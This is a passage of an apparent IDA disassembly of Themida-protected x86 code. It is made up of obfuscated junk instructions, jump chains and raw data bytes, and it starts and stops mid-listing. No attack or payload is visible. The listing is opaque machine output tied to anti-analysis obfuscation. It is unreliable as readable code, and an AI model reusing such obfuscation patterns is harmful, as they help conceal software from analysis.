		dd 4D2h, 8124348Bh, 4C4h, 0BF5700h, 81541B03h, 5C35E3E7h
		dd 0E1E7817Fh, 4F6F6C00h, 45F78147h, 0E904DF31h, 59E6h
		dd 41E9D0F7h, 66FFFFECh, 8324048Bh, 3C8904ECh, 4EC8324h
		dd 50242489h, 4B8h, 24440100h, 565F5804h, 0D65E3FBEh, 0C7CE8164h
		dd 81674A50h, 0C00560F6h, 0C1DEE91Bh, 0C281FFFFh, 812010Eh
		dd 77A8C281h, 0D6E900C6h, 8300000Bh, 0CE0104C4h, 2B85059h
		dd 1000000h, 348758C6h,	24248B24h, 9C242CD2h, 0FFDFC0E9h
		dd 8BE952FFh, 83FFFFE7h, 1C3302C3h, 241C3124h, 5C241C33h
		dd 24048B66h, 37416852h, 24890000h, 24048124h, 4, 8324148Bh
		dd 685004C4h, 4, 0F5EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587D3A:				; CODE XREF: Themida_:0058A7A0j
		mov	[esp], eax
		push	4
		mov	eax, [esp]
		add	esp, 4
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 2
		jmp	loc_5857F7
; ---------------------------------------------------------------------------
		dd 24DF581h, 0EC8144DCh, 4, 8B242C89h, 0EC832404h, 242C8904h
		dd 0B951E589h, 4, 0C8BCD01h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 4C5815Ch,	87000000h, 0F7E9242Ch, 8100005Fh
		dd 4C4h, 9B1FE900h, 0C383FFFFh,	241C8702h, 0E924248Bh
		dd 0FFFFC45Fh, 24048B66h, 47A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_587DC1:				; CODE XREF: Themida_:00581A24j
		mov	[esp], ebx
		push	edx
		jmp	loc_586374
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 5B462F74h, 0C581DD29h, 5B462F74h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_583E32
; ---------------------------------------------------------------------------
		db 2Ch
		dd 58C6882Eh, 88F18851h, 72E959CFh
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587DF3:				; CODE XREF: Themida_:0058D362j
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_583530
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 1F46h, 89241C89h,	4EC83E3h, 0E9240489h, 486Eh
		dd 11B9E95Dh, 0E0890000h, 405h,	0B3ABE900h, 0E389FFFFh
		dd 4C381h, 0C3830000h, 241C8704h, 0E924248Bh, 0FFFFC2C6h
		dd 0C381E389h, 4, 0FFBACFE9h, 24248BFFh, 0F66F1F6h, 0EC81CCB6h
		dd 4, 0FFE4A6E9h, 0B85059FFh, 4, 64E9C101h, 33FFFFCFh
		dd 248B242Ch, 4016624h,	46E99C24h, 66FFFF9Ah, 0C0B60F58h
		dd 0FFA6CEE9h, 29E95CFFh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_587E93:				; CODE XREF: Themida_:005894EBj
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_584589
; ---------------------------------------------------------------------------
		dw 2489h
		dd 8E95724h, 81FFFFE6h,	4C4h, 0C78CE900h, 0F745FFFFh, 10F581DDh
		dd 816E956Bh, 6894E5F5h, 5DE80193h, 8B240487h, 35E92424h
		dd 66FFFFD7h, 0DBB353h,	776E9DDh, 895C0000h, 0EC83240Ch
		dd 24148904h, 0DC52E951h, 895DFFFFh, 2434FFF1h,	0FDE9E95Eh
		dd 15B1FFFFh, 0DCE9CA00h, 81FFFFD8h, 21852404h,	565A0F08h
		dd 82185BEh, 5EF2290Fh,	8324348Bh, 0C28104C4h, 3E52D4F0h
		dd 89D58955h, 0AC91E9EEh, 47B9FFFFh, 19FF4EDh, 2852E9CEh
		dd 0E9C10000h, 81D1F705h, 986F7EE1h, 1AF1816Ch,	16C986Fh
		dd 0C68159CEh, 4, 5C243487h, 0FFC26AE9h, 242489FFh, 0E41E9h
		dd 5AD53100h, 393DE9h, 0BA525E00h, 52ED00DDh, 79C1F281h
		dd 0F28110E3h, 420E7918h, 505AD601h, 510FBD55h,	4D45703Fh
		dd 4D06E5C1h, 0FFCCC5E9h, 0E9D4F6FFh, 0FFFFDC30h, 81242C8Bh
		dd 4C4h, 3DAA6800h, 0C890000h, 66F1B924h, 0E9812E5Dh, 40985224h
		dd 0FFFFC181h, 6852FFFFh, 0CF507494h, 0FFDF81E9h, 241C89FFh
		dd 0FFF4C4E9h, 0C8B66FFh, 4EC8124h, 89000000h, 0AE9243Ch
		dd 29000011h, 90E95EF2h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587FE7:				; CODE XREF: Themida_:0058AEE1j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp


loc_587FF3:				; CODE XREF: Themida_:005850D4j
					; Themida_:005897B6j
		push	5111h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	5EE2h
		mov	[esp], ecx
		jmp	loc_589F30
; ---------------------------------------------------------------------------
		dd 2876CD81h, 0ED817E3Dh, 34243496h, 4ADDED81h,	0EA814BDBh
		dd 11A804DDh, 0C281EA01h, 11A804DDh, 5B37E9h, 9CE95800h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588037:				; CODE XREF: Themida_:0058CC7Aj
		pop	eax
		or	edi, 5B1E08A3h
		sub	edi, 66B6D7DCh
		and	edx, edi
		pop	edi
		sub	edx, 63FFC045h
		and	eax, edx
		jmp	loc_587B70
; ---------------------------------------------------------------------------
		dd 0E94AEB80h, 0FFFFD485h
; ---------------------------------------------------------------------------


loc_58805C:				; CODE XREF: Themida_:0058C5EAj
		push	edx
		mov	edx, 0
		add	edx, ebx
		jmp	loc_5847A8
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48158h, 56000000h,	0B5B95150h, 0E95C5E7Ch,	932h, 2B8h
		dd 5BC78100h, 1703E0Eh,	5BEF81C7h, 8B703E0Eh, 0C4812404h
		dd 4, 31243C33h, 3C33243Ch, 0FAE95C24h,	81000026h, 4C3h
		dd 4C38300h, 4F46E9h, 5BFA0000h, 131E9h, 2E58100h, 81527966h
		dd 3103FEEDh, 3FC78150h, 16E0A3Eh, 3FEF81EFh, 0E96E0A3Eh
		dd 0F95h
; ---------------------------------------------------------------------------


loc_5880E0:				; CODE XREF: Themida_:0058C7E8j
		pop	esp
		mov	[esp], ebx
		jmp	loc_588C5B
; ---------------------------------------------------------------------------
		db 1, 0C5h, 8Bh
		dd 0C4812404h, 4, 519E9h, 59CF0100h, 0E95FFA01h, 4D95h
		dd 8704C383h, 15C241Ch,	4EC81D8h, 89000000h, 58BD242Ch
		dd 29274729h, 2434FFE8h, 2B38E9h, 4ED8100h, 87000000h
		dd 895C242Ch, 0BE562414h, 17FE38A2h, 0BBEA08BAh, 258CE9F4h
		dd 0C6810000h, 1, 165EE681h, 0F6817B46h, 36C5B5FEh, 0FFE9D0E9h
		dd 81D1F7FFh, 4AC404E9h, 0E9CE21CAh, 0FFFFE195h, 915F02B9h
		dd 0E9D1F71Ah, 571Dh, 8B240C33h, 2CD32424h, 46E99C24h
		dd 5CFFFF97h, 9C240430h, 0FFB472E9h, 2474FFFFh,	48F5F04h
		dd 0A6E95C24h, 0FF000040h, 669D1C77h, 4116658h,	1EE99C24h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5881AB:				; CODE XREF: Themida_:0058462Fj
		pop	ecx
		jmp	loc_586946
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset dword_52C4EC+5FDh
		db 0
; ---------------------------------------------------------------------------


loc_5881B9:				; CODE XREF: Themida_:00586F8Aj
		mov	[esp], esp
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC835Fh, 89240C89h,	4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 66C3315Ch, 6800B60Fh, 713Ch,	89243489h, 47CDE9E6h, 0C2800000h
		dd 0C7B7E961h, 0FC35FFFFh, 0E9575925h, 0FFFF9BB3h, 5B32C781h
		dd 0F7011C92h, 5B32EF81h, 0C15E1C92h, 0EF8108E7h, 355E2773h
		dd 3988EB81h, 0FB014F20h, 3988C381h, 1CE94F20h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58822F:				; CODE XREF: Themida_:0058956Ej
		dec	edx
		shl	edx, 8
		not	edx
		sub	edx, 0B7C807Fh
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_584A3C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 97CB81D3h, 4B32825Fh, 0E903EBC1h, 455Ch, 26F9C581h
		dd 6C01D048h, 0E95D0424h, 0FFFFB58Eh, 0E9243489h, 12D9h
		dd 0D475F968h, 3DE95B7Bh
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_588283:				; CODE XREF: Themida_:0058224Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_58731A
; ---------------------------------------------------------------------------
		db 0FFh
a4Wichql	db '4$[W‰çhïL',0
		dw 0E900h
		dd 4DA6h, 815FF989h, 0AA722BC1h, 72F1816Ch, 0E957D25Bh
		dd 0FFFFCF58h
; ---------------------------------------------------------------------------


loc_5882BC:				; CODE XREF: Themida_:0058CFFAj
		mov	ebp, [esp]
		jmp	loc_582249
; ---------------------------------------------------------------------------
		dd 240C8B66h, 42A16853h, 4EE90000h, 28FFFFC2h, 64E92434h
		dd 88FFFFB1h, 0E9D3F6EBh, 0FFFFF0C2h
; ---------------------------------------------------------------------------


loc_5882E4:				; CODE XREF: Themida_:0058AF11j
		mov	[esp], esi
		push	31E4h
		mov	[esp], edi
		push	ebx
		mov	ebx, 727A6DF5h
		and	ebx, 36A01607h
		xor	ebx, 7467271Bh
		add	ebx, 1E9112BEh
		mov	edi, ebx
		pop	ebx
		jmp	loc_58C6DD
; ---------------------------------------------------------------------------
		db 0B9h
		dd 49016808h, 0E904EC83h, 0FFFFB383h, 0E9240489h, 0FFFF95A5h
		dd 405h, 4E88300h, 0FFF0BAE9h, 5BDA30FFh, 0E95AD300h, 26D7h
; ---------------------------------------------------------------------------


loc_58833C:				; CODE XREF: Themida_:0058C09Bj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58B1EC
; ---------------------------------------------------------------------------
		db 0B1h, 0BBh, 80h
		dd 0C180A0E9h, 0CB5BE9EDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588352:				; CODE XREF: Themida_:005858C3j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58C769
; ---------------------------------------------------------------------------
		dw 5351h
		dd 8835B151h, 5E2E9CBh,	89560000h, 4C681E6h, 83000000h
		dd 1DE904C6h, 5BFFFFE0h, 83242C8Bh, 0C18304C4h,	240C8702h
		dd 0D224248Bh, 0E99C240Ch, 0FFFFDA3Bh, 61D168h,	241C8900h
		dd 24BBh, 50FB0100h, 68h, 0D8015800h, 10081h, 0A2E90000h
		dd 5EFFFFF7h, 218ABF57h, 0CF810B27h, 7A612FA6h,	4495E9h
		dd 0E1816600h, 0C16648A4h, 0F76604E9h, 2A04E9D1h, 0D2F60000h
		dd 0E988C280h, 0FFFFDE83h, 8324048Bh, 0F28104C4h, 0B925B72h
		dd 958EE956h, 0CB81FFFFh, 5E0C4AB3h, 0C56EEB81h, 0B7E9DAFAh
		dd 5E000056h, 0DFFBEF81h, 21E97DFAh, 51FFFFE4h,	0FFFB11E9h
		dd 0E28952FFh, 4C281h, 0EC830000h, 241C8904h, 361968h
		dd 240C8900h, 0FFF6A8E9h, 2434FFFFh, 0E3895359h, 8904EC83h
		dd 18B9240Ch, 0E9311579h, 0FFFFB159h
; ---------------------------------------------------------------------------


loc_58844C:				; CODE XREF: Themida_:00587944j
		add	esi, eax
		jmp	loc_58BCC9
; ---------------------------------------------------------------------------
		db 33h
		dd 685C240Ch, 5723h, 42C8E9h
		db 0
; ---------------------------------------------------------------------------


loc_588461:				; CODE XREF: Themida_:00586947j
		mov	ebp, 1D923297h
		xor	edx, ebp
		pop	ebp
		and	edx, 35F036CEh
		jmp	loc_586E65
; ---------------------------------------------------------------------------
		dd 24048B66h, 242368h, 241C8900h, 8956E389h, 4C681E6h
		dd 83000000h, 20E904EEh, 54FFFFEFh, 4C3815Bh, 81000000h
		dd 2C3h, 0C403E900h, 34FFFFFFh,	5A16E924h, 0BE560000h
		dd 7A197373h, 0EAE9F221h, 68000059h, 231Dh, 53240C89h
		dd 1E84BE56h, 0F6815C27h, 0BF143D0h, 8106EEC1h,	0F42CBAE6h
		dd 0A4DAE936h, 0E6E9FFFFh, 5AFFFF93h, 3B3CC72Dh, 2434FF79h
		dd 3EE9515Eh, 89FFFFAAh, 4BF57E2h, 0E9000000h, 2834h, 0E924248Bh
		dd 482Dh, 53BFE781h, 0EF8139FEh, 19DA538Ch, 0E95FF901h
		dd 0FFFFDCF6h, 58E9D831h, 58FFFFF2h, 31242C33h,	2C33242Ch
		dd 24248B24h, 68E1F766h, 6A28h,	0E9243C89h, 0FFFFEA6Dh
; ---------------------------------------------------------------------------


loc_588540:				; CODE XREF: Themida_:0058DB5Ej
		add	dword ptr [esp], 4
		pop	ebp
		push	2D80h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_58B7F2
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E7D106E7h, 3A04BA52h, 0D731BBA4h, 5FFB895Ah, 565BDD01h
		dd 4BEh, 0BCC8E900h, 0D501FFFFh, 5A1BB53h, 0DD013D48h
		dd 48C6E9h, 81E78900h, 4C7h, 4EF8100h, 87000000h, 0E7E9243Ch
		dd 68000054h, 1, 6824148Bh, 5A77h, 54240C89h, 0FFCD15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5885B1:				; CODE XREF: Themida_:005879A3j
		inc	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0C63C9068h
		add	eax, 45B73C9h
		jmp	loc_584D3C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0ACAEE904h, 8F64FFFFh, 92EFE902h, 9968FFFFh,	89000005h
		dd 4BA2414h, 81000000h,	0B422CAEBh, 95C3815Bh, 12B1B54h
		dd 95EB81D3h, 0E92B1B54h, 53C6h, 1FE9C201h, 8100004Eh
		dd 4ECh, 0F215E900h, 6853FFFFh,	7E41h, 0BF243C89h, 385A462Dh
		dd 5A4629BBh, 5FFB3138h, 0FFF79DE9h, 241C87FFh,	59CA015Ch
		dd 146BE9h, 6AF36800h, 14890000h, 46824h, 815A0000h, 0E3042444h
		dd 0E9493865h, 0FFFFD819h, 0ACE95B66h, 89FFFFDBh, 58542404h
		dd 758B6857h, 0C15F7137h, 0EF8102EFh, 1C4DDD5Eh, 555FF801h
		dd 0D2CEE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58867A:				; CODE XREF: Themida_:005889DCj
		mov	edi, 11784086h
		jmp	loc_5888E8
; ---------------------------------------------------------------------------


loc_588684:				; CODE XREF: Themida_:0058DB7Dj
		pop	edi
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		shr	edx, 5
		add	edx, 0F8440163h
		jmp	loc_5819F8
; ---------------------------------------------------------------------------


loc_588699:				; CODE XREF: Themida_:0058BFFBj
		mov	esi, [esp]
		jmp	loc_58674B
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 57h
		dd 6208B8BFh, 0E9DFF746h, 0FFFFAED5h, 158C229h,	0F0315AD6h
		dd 5024348Bh, 0FFB123E9h, 240C87FFh, 9911E95Ch,	895CFFFFh
		dd 0E9532434h, 0FFFFAE21h, 0C281E289h, 4, 8704C283h, 835C2414h
		dd 3C8704EFh, 0E6B9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5886EE:				; CODE XREF: Themida_:005889F0j
		mov	[esp], ecx
		push	edx
		mov	dl, 0A7h
		jmp	loc_586F32
; ---------------------------------------------------------------------------
		db 68h,	4Eh, 20h
		dd 24890000h, 24048124h, 4, 8124048Bh, 4C4h, 3ABD5500h
		dd 816F8E0Bh, 82448FF5h, 0A7F58179h, 0E95EB123h, 148Ch
; ---------------------------------------------------------------------------


loc_588728:				; CODE XREF: Themida_:00583A17j
		add	ebx, 4
		jmp	loc_58DE7C
; ---------------------------------------------------------------------------
aYsj		db 'YéJ-',0
		dd 24043300h, 33240431h, 665C2404h, 2404A30Fh, 917BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58874E:				; CODE XREF: Themida_:0058C0B5j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------
		dw 4058h
		dd 5C419825h, 0C2E9E912h, 0C2B3FFFFh, 0F8E94E04h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588777:				; CODE XREF: Themida_:005875A4j
		sub	eax, 0E28CB640h
		or	ebx, eax
		pop	eax
		jmp	loc_586B5B
; ---------------------------------------------------------------------------
		dd 3FB4B951h, 30E975AFh, 56FFFFE1h, 0F589FE89h,	42D5E95Eh
		dd 665C0000h, 52240C8Bh, 0BE565A54h, 0A201CB8h,	2E6C14Eh
		dd 1779E681h, 0E6C163C0h, 0FCEE8106h, 81200495h, 0B83667EAh
		dd 3DD5E91Eh, 0C3310000h, 4EC81h, 0C890000h, 0C0AFB524h
		dd 0F58002EDh, 0FFE82054h, 0C8B2434h, 4C48324h,	48B5450h
		dd 2794E924h, 0D8000000h, 2FBCE9h, 0FFFFBA00h, 0D329FFFFh
		dd 0E943435Ah, 0FFFFF0E2h, 0C681E689h, 4, 4C681h, 34870000h
		dd 0CEE95C24h, 0FF000050h, 34FF2434h, 0F8E95A24h, 81FFFFA3h
		dd 4C3h, 4685100h, 59000000h, 0C8BCB01h, 4C48324h, 0E9241C87h
		dd 0FFFF9C92h
; ---------------------------------------------------------------------------


loc_588844:				; CODE XREF: Themida_:0058C90Cj
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_58CF5F
; ---------------------------------------------------------------------------
		db 42h
		dd 1195E9h, 6DC58100h, 5F344A50h, 2474FF55h, 48F5D04h
		dd 24248B24h, 24042166h, 904BE99Ch, 8B66FFFFh, 54512404h
		dd 592434FFh, 8304C483h, 1C8904ECh, 4BB24h, 0F2E90000h
		dd 59000028h, 0FF9B3EE9h, 5EF701FFh, 4EF81h, 3C870000h
		dd 4BE95C24h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5888B3:				; CODE XREF: Themida_:0058DE31j
		push	esp
		jmp	loc_586221
; ---------------------------------------------------------------------------
		db 1, 0EAh, 0E9h
		dd 7D4h, 4EC81h, 3C890000h, 346BF24h, 0FB316AC5h, 5BD9895Fh
		dd 0FFDBB0E9h, 94B753FFh, 0A025E952h, 0E956FFFFh, 0FBEh
; ---------------------------------------------------------------------------


loc_5888E8:				; CODE XREF: Themida_:0058867Fj
		xor	ebp, edi
		pop	edi
		xor	ebp, 40829211h
		sub	ebx, 5B855386h
		add	ebx, ebp
		add	ebx, 5B855386h
		pop	ebp
		and	eax, ebx
		pop	ebx
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	1FD0h
		mov	[esp], ebx
		xchg	ebx, [esp]
		jmp	loc_581EF9
; ---------------------------------------------------------------------------
		dw 0BF57h
		align 8
		dd 0E9E9EF29h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58893F:				; CODE XREF: Themida_:0058637Fj
		push	ebx
		mov	ebx, 7A321ACAh
		xchg	esi, ebx
		jmp	loc_5876A0
; ---------------------------------------------------------------------------
		dd 0E9DBF659h, 0FFFFF700h, 6D3BC981h, 0F1814318h, 4C606E2Ah
		dd 8575E981h, 0CB29F666h, 7DE95659h, 66FFFFD5h,	52E930FFh
		dd 30FFFF8Fh, 0DC885AF3h, 0B2C3805Bh, 3DE9E328h, 87FFFFC5h
		dd 248B243Ch, 68F9F724h, 4ACCh,	0E9241489h, 0FFFFA19Ch
		dd 40CC68h, 241C8900h, 4BBh, 245C0100h,	96DAE904h, 0C889FFFFh
		dd 48452D59h, 0AC25732Fh, 0E9385C51h, 0FFFF9215h
; ---------------------------------------------------------------------------


loc_5889C4:				; CODE XREF: Themida_:00588C62j
		push	0
		sub	[esp], ebx
		pop	ebx
		push	ebp
		mov	ebp, 4D2F77E4h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58867A
; ---------------------------------------------------------------------------


loc_5889E1:				; CODE XREF: Themida_:0058B83Cj
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	3DCDh
		jmp	loc_5886EE
; ---------------------------------------------------------------------------
		db 88h,	0D7h, 5Ah
		dd 5B66F828h, 0B850C330h, 22616A88h, 11C9E9h, 0B5CD8100h
		dd 0F769C020h, 0B3F581D5h, 0E989C262h, 0FFFFACDAh, 0CFD7E95Bh
		dd 4BFFFFFh, 0E9000000h, 0FFFFB3C2h, 329E95Dh, 0A3BF0000h
		dd 16B1512h, 243C8BFDh,	4C481h,	0EDC10000h, 51E5D102h
		dd 0B9h, 0B968E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588A52:				; CODE XREF: Themida_:0058932Fj
		sub	eax, 7C361E58h
		jmp	loc_58BD60
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0A9FCE956h, 0D529FFFFh, 26BE9h, 14875F00h
		dd 0F468E924h, 7BB8FFFFh, 8906E407h, 24048BC2h,	6A6B68h
		dd 24048900h, 0FFCE1AE9h, 4C483FFh, 5204EA83h, 42474FFh
		dd 0C58E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588A9E:				; CODE XREF: Themida_:00585832j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58B7A9
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 208EB924h, 0CA095EADh, 3CC28159h
		dd 8155CE43h, 8BC03BEAh, 48152D5h, 0AD0CB224h, 24048B6Ch
		dd 4C481h, 0B22D0000h, 5A6CAD0Ch, 0FFF0C3E9h, 5A1EBFFFh
		dd 7CE91C39h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588AEF:				; CODE XREF: Themida_:005896E3j
		pop	esp
		jmp	loc_58A1B5
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 137Ah, 2434875Fh, 0CFF665Ch, 0BAE99C24h
		dd 56FFFF8Dh, 0FFC2EBE9h, 1C77FFFFh, 6659669Dh,	9C2414D3h
		dd 0FF8DA4E9h, 0C8966FFh, 0B60F6624h, 9C5166C8h, 0FF8D94E9h
		dd 4C481FFh, 68000000h,	72DAh, 81242C89h, 4ECh,	24048900h
		dd 3A5ED9B8h, 0BB534858h, 17812CAEh, 1C8BD829h,	4C48324h
		dd 0FFAD37E9h, 9C181FFh, 811D051Ah, 176985C1h, 9C47E949h
		dd 762DFFFFh, 29290761h, 76B951D8h, 0E9290761h,	0FFFFCB1Dh
		dd 2DBF5753h, 0BB2D735Bh, 0D28CA4D5h, 2E88C381h, 0FB016743h
		dd 0FF94D2E9h, 0C1DEF7FFh, 936805E6h, 89000028h, 4FF2434h
		dd 9E55E924h, 0C181FFFFh, 4, 0A62BD55h,	4D4D0FDBh, 0F5A4C581h
		dd 0C3E9F024h, 66FFFFC2h, 56240C8Bh, 89E9E689h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588BDB:				; CODE XREF: Themida_:00587BFDj
		push	4EDh
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_58A015
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd offset dword_49005C+1DE8Dh
		db 0
; ---------------------------------------------------------------------------


loc_588BF5:				; CODE XREF: Themida_:0058CAA8j
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	6B0Dh
		mov	[esp], eax
		push	ecx
		jmp	loc_58D8B6
; ---------------------------------------------------------------------------
		dd 23F26866h, 240C8966h, 341FB966h, 4E5E2D66h, 66C82966h
		dd 664E5E05h, 0B056659h, 0D801667Dh, 0FF914BE9h, 2434FFFFh
		dd 85E95359h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588C3F:				; CODE XREF: Themida_:005877C3j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58DBA0
; ---------------------------------------------------------------------------
		dd 4EC81h, 3CE90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588C5B:				; CODE XREF: Themida_:005880E4j
		mov	ebx, 39A34AE6h
		shr	ebx, 1
		jmp	loc_5889C4
; ---------------------------------------------------------------------------
		db 5Eh
		dd 139EF81h, 0E7C11DAFh, 0F892E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_588C76:				; CODE XREF: Themida_:00584DEFj
		mov	esi, 13DF27C8h
		and	esi, 6D3111EEh
		sub	esi, 0FDE299D1h
		push	ecx
		mov	ecx, esi
		mov	[edi+20h], ecx
		pop	ecx
		pop	esi
		shr	dword ptr [edi+20h], 2
		jmp	loc_58203B
; ---------------------------------------------------------------------------
		dd 8158C201h, 2C2h, 78E86800h, 14890000h, 2474FF24h, 2434FF04h
		dd 4C4815Ah, 8F000000h,	248B2404h, 0BE0F6624h, 4EC83C8h
		dd 89240C89h, 4EE956E1h, 2800001Dh, 0E99C2404h,	0FFFF8BF1h
		dd 5DEA015Ah, 5204EA83h, 42474FFh, 8324148Bh, 0F1E904C4h
		dd 83FFFFD1h, 0C78304C4h, 7D4E902h, 50660000h, 8BC7E99Ch
		dd 1C87FFFFh, 0C335C24h, 0A381E924h, 0F329FFFFh, 181BC381h
		dd 348B09D7h, 4C48124h,	0E9000000h, 12BEh
; ---------------------------------------------------------------------------


loc_588D24:				; CODE XREF: Themida_:00585E29j
		pop	esi
		sub	ebp, edx
		mov	edx, [esp]
		jmp	loc_585722
; ---------------------------------------------------------------------------
		db 89h
		dd 8EE9241Ch, 8B000044h
		db 2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_585E87
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 94F58102h, 81622A4Ah, 0FBE085EDh, 5DEA8954h,	65E9EA01h
		dd 1FFFFC5h, 0F58159CDh, 5AF25C8Ch, 0DFF7FD87h,	7ABE9h
		dd 81D2F700h, 9CB752F2h, 3696E9F1h, 1C8B0000h, 4C48324h
		dd 4C481h, 3EE90000h, 56FFFF8Bh, 0F789D689h, 77E95A5Eh
		dd 81000048h, 0E239FFC3h, 0C997E969h, 483FFFFh,	525F0424h
		dd 305F8FBAh, 0E2C14A67h, 44EA8106h, 811B9651h,	7E6DC8C2h
		dd 0DEBE94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_588DC2:				; CODE XREF: Themida_:0058A92Aj
		mov	[esp], esi
		push	edi
		push	5E2E24DFh
		pop	edi
		shl	edi, 1
		inc	edi
		add	edi, 308B235Fh
		add	edi, 1318A2E2h
		jmp	loc_58B48D
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 3C8B0000h, 4C48124h, 68000000h, 0C2Ah
		dd 0BE243489h, 4, 348BF701h, 4C48324h, 0FFB97EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588E0D:				; CODE XREF: Themida_:005853A9j
		pop	edx
		shr	ch, 7
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0BEh
		jmp	loc_5858C8
; ---------------------------------------------------------------------------
		dw 0C158h
		dd 8AE905E5h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_588E27:				; CODE XREF: Themida_:005874D1j
		pop	edi
		add	ebp, esi
		pop	esi
		add	ebp, 2
		jmp	loc_58B57B
; ---------------------------------------------------------------------------
		db 81h
		dd 945C07E9h, 494FE918h, 44010000h, 0EAE90424h,	87FFFFF1h
		dd 15C242Ch, 0EA50E9CEh, 34FFFFFFh, 0F1E95E24h,	81FFFFE1h
		dd 4C3h, 15BD5500h, 4D50037Bh, 0F581E5D1h, 84F2BF4h, 6B5DB951h
		dd 90E938A2h, 66FFFFD8h, 4CD7685Ah, 0C890000h, 0E430E924h
		dd 5166FFFFh, 0FFC62FE9h, 0E9F000FFh, 232Dh, 9668D831h
		dd 8900007Ch, 75E92434h, 59FFFFD0h, 0FFB86BE9h,	78E95BFFh
		dd 8F000001h, 895C2404h, 0A068243Ch, 5F5E24D1h,	2733AC2Dh
		dd 8E12D7Ch, 0F8017945h, 4508E105h, 0ACBB5379h,	0E97C2733h
		dd 80Ch, 47FCBA52h, 0B95153EAh,	7EA405E0h, 69BAE181h, 0E1812423h
		dd 7683687Eh, 0D65E181h, 3FE92805h, 81FFFFA7h, 278C59C5h
		dd 31B85099h, 0E9027232h, 13EBh, 2072F281h, 0ED81378Ah
		dd 3D4805A1h, 0FFF655E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_588F21:				; CODE XREF: Themida_:00583848j
		mov	ebx, 4372F47h
		not	ebx
